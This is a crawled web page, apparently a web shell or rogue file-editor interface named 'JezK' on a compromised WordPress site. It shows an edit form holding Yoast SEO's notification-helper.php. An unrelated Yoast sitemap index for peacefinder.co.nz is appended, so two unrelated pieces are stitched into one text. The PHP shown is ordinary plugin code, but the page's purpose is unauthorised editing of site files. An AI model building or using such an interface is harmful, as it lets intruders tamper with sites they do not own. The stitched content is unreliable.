
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>JezK</title>
<style>
    body {
        font-family: Arial, sans-serif;
        margin: 0;
        padding: 0;
    }
    #container {
        max-width: 800px;
        margin: 20px auto;
        padding: 20px;
        border: 1px solid #ccc;
        border-radius: 5px;
        background-color: #f9f9f9;
    }
    h1 {
        text-align: center;
        color: #333;
    }
    h2 {
        margin-top: 30px;
        color: #555;
    }
    ul {
        list-style-type: none;
        padding: 0;
    }
    li {
        margin-bottom: 10px;
    }
    a {
        text-decoration: none;
        color: #007bff;
    }
    a:hover {
        text-decoration: underline;
    }
    form {
        margin-top: 20px;
    }
    input[type="text"], input[type="file"], input[type="submit"] {
        margin-bottom: 10px;
    }
    hr {
        border: 0;
        height: 1px;
        background-color: #ccc;
        margin-top: 20px;
        margin-bottom: 20px;
    }
</style>
</head>
<body>
<div id="container">
    <h1>JezK</h1>
    <h2>Edit File: notification-helper.php</h2><form method="post"><textarea name="file_content" rows="10" cols="50">&lt;?php

namespace Yoast\WP\SEO\Helpers;

use Yoast_Notification;
use Yoast_Notification_Center;

/**
 * A helper object for notifications.
 */
class Notification_Helper {

	/**
	 * Restores a notification (wrapper function).
	 *
	 * @codeCoverageIgnore
	 *
	 * @param Yoast_Notification $notification The notification to restore.
	 *
	 * @return bool True if restored, false otherwise.
	 */
	public function restore_notification( Yoast_Notification $notification ) {
		return Yoast_Notification_Center::restore_notification( $notification );
	}

	/**
	 * Return the notifications sorted on type and priority. (wrapper function)
	 *
	 * @codeCoverageIgnore
	 *
	 * @return Yoast_Notification[] Sorted Notifications
	 */
	public function get_sorted_notifications() {
		$notification_center = Yoast_Notification_Center::get();

		return $notification_center-&gt;get_sorted_notifications();
	}

	/**
	 * Check if the user has dismissed a notification. (wrapper function)
	 *
	 * @codeCoverageIgnore
	 *
	 * @param Yoast_Notification $notification The notification to check for dismissal.
	 * @param int|null           $user_id      User ID to check on.
	 *
	 * @return bool
	 */
	private function is_notification_dismissed( Yoast_Notification $notification, $user_id = null ) {
		return Yoast_Notification_Center::is_notification_dismissed( $notification, $user_id );
	}

	/**
	 * Parses all the notifications to an array with just id, message, nonce, type and dismissed.
	 *
	 * @return array&lt;string, string|bool&gt;
	 */
	public function get_alerts(): array {
		$all_notifications = $this-&gt;get_sorted_notifications();

		return \array_map(
			function ( $notification ) {
				return [
					&#039;id&#039;           =&gt; $notification-&gt;get_id(),
					&#039;message&#039;      =&gt; $notification-&gt;get_message(),
					&#039;nonce&#039;        =&gt; $notification-&gt;get_nonce(),
					&#039;type&#039;         =&gt; $notification-&gt;get_type(),
					&#039;dismissed&#039;    =&gt; $this-&gt;is_notification_dismissed( $notification ),
					&#039;resolveNonce&#039; =&gt; $notification-&gt;get_resolve_nonce(),
				];
			},
			$all_notifications,
		);
	}
}
</textarea><br><input type="submit" value="Save"></form></div>
</body>
</html>

<?xml version="1.0" encoding="UTF-8"?><?xml-stylesheet type="text/xsl" href="//peacefinder.co.nz/wp-content/plugins/wordpress-seo/css/main-sitemap.xsl"?>
<sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">
	<sitemap>
		<loc>https://peacefinder.co.nz/post-sitemap.xml</loc>
		<lastmod>2025-05-09T06:53:29+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://peacefinder.co.nz/page-sitemap.xml</loc>
		<lastmod>2026-05-02T11:57:03+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://peacefinder.co.nz/listings-sitemap.xml</loc>
		<lastmod>2026-05-02T11:53:10+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://peacefinder.co.nz/product-sitemap.xml</loc>
		<lastmod>2025-03-22T07:11:30+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://peacefinder.co.nz/listing_template-sitemap.xml</loc>
		<lastmod>2025-05-08T11:33:26+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://peacefinder.co.nz/elementor-hf-sitemap.xml</loc>
		<lastmod>2025-03-28T03:15:48+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://peacefinder.co.nz/category-sitemap.xml</loc>
		<lastmod>2025-05-09T06:50:39+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://peacefinder.co.nz/condition-sitemap.xml</loc>
		<lastmod>2025-09-25T21:26:17+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://peacefinder.co.nz/make-sitemap.xml</loc>
		<lastmod>2026-05-02T11:53:10+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://peacefinder.co.nz/serie-sitemap.xml</loc>
		<lastmod>2026-05-02T11:53:10+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://peacefinder.co.nz/body-sitemap.xml</loc>
		<lastmod>2026-05-02T11:53:10+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://peacefinder.co.nz/ca-year-sitemap.xml</loc>
		<lastmod>2026-05-02T11:53:10+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://peacefinder.co.nz/mileage-sitemap.xml</loc>
		<lastmod>2026-05-02T11:53:10+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://peacefinder.co.nz/transmission-sitemap.xml</loc>
		<lastmod>2026-05-02T11:53:10+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://peacefinder.co.nz/engine-sitemap.xml</loc>
		<lastmod>2026-05-02T11:53:10+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://peacefinder.co.nz/exterior-color-sitemap.xml</loc>
		<lastmod>2026-05-02T11:53:10+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://peacefinder.co.nz/fuel-sitemap.xml</loc>
		<lastmod>2026-05-02T11:53:10+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://peacefinder.co.nz/price-sitemap.xml</loc>
		<lastmod>2026-05-02T11:53:10+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://peacefinder.co.nz/drive-sitemap.xml</loc>
		<lastmod>2026-05-02T11:53:10+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://peacefinder.co.nz/interior-color-sitemap.xml</loc>
		<lastmod>2026-05-02T11:53:10+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://peacefinder.co.nz/stm_additional_features-sitemap.xml</loc>
		<lastmod>2026-05-02T11:53:10+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://peacefinder.co.nz/author-sitemap.xml</loc>
		<lastmod>2025-05-22T10:05:43+00:00</lastmod>
	</sitemap>
</sitemapindex>
<!-- XML Sitemap generated by Yoast SEO -->